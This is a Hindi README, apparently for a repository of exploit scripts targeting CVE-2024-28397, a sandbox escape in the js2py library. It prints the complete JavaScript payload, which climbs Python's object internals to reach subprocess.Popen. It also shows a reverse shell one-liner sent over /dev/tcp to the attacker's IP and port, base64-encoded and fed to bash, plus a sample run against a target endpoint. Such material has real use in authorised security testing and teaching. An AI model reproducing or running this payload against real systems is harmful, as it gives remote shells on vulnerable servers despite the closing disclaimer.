
CVE-2024-28397 के लिए एक्सप्लॉइट स्क्रिप्ट्स, जो एक js2py सैंडबॉक्स एस्केप है जो लक्षित एंडपॉइंट पर रिवर्स शेल उत्पन्न करने के लिए मनमाना Python कोड निष्पादित करता है।
js2py सैंडबॉक्स एस्केप भेद्यता (CVE-2024-28397) को लक्षित करने वाले एक्सप्लॉइट स्क्रिप्ट का संग्रह, जो Python ऑब्जेक्ट इंट्रोस्पेक्शन के माध्यम से मनमाना कोड निष्पादन की अनुमति देता है।
js2py लाइब्रेरी में एक महत्वपूर्ण सैंडबॉक्स एस्केप भेद्यता है जो हमलावरों को JavaScript के Object.getOwnPropertyNames() विधि के माध्यम से आंतरिक Python ऑब्जेक्ट्स तक पहुँचकर मनमाना Python कोड निष्पादित करने की अनुमति देती है।
यह एक्सप्लॉइट Marven11 के व्यापक विश्लेषण पर आधारित है:
इस रिपॉजिटरी में तीन अलग-अलग कार्यान्वयन हैं:
exploit.sh)curl और jq का उपयोग करते हुए हल्का बैश कार्यान्वयन।
exploit.go)अंतर्निहित HTTP क्लाइंट के साथ क्रॉस-प्लेटफ़ॉर्म गो कार्यान्वयन।
curl, jq, base64सभी स्क्रिप्ट इंटरैक्टिव हैं और आवश्यक जानकारी के लिए संकेत देंगी:
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
प्रत्येक स्क्रिप्ट पूछेगी:
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
एक्सप्लॉइट गतिशील रूप से एक रिवर्स शेल कमांड बनाता है:
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
शेल कमांड सुरक्षित ट्रांसमिशन के लिए base64-एन्कोडेड है:
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
मुख्य एक्सप्लॉइट Python के आंतरिक ऑब्जेक्ट्स तक पहुँचने के लिए JavaScript का उपयोग करता है:
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({}) के माध्यम से Python की ऑब्जेक्ट प्रणाली तक पहुँचें__class__.__base__.__getattribute__ के माध्यम से आधार वर्गों पर नेविगेट करेंsubprocess.Popen के लिए उपवर्गों की खोज करेंPopen के माध्यम से मनमाना सिस्टम कमांड निष्पादित करेंये स्क्रिप्ट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान की गई हैं। किसी भी सिस्टम के विरुद्ध परीक्षण करने से पहले हमेशा उचित प्राधिकरण सुनिश्चित करें।
यह सॉफ्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उपयोगकर्ता लागू कानूनों का पालन करने और उपयोग से पहले उचित प्राधिकरण प्राप्त करने के लिए जिम्मेदार हैं।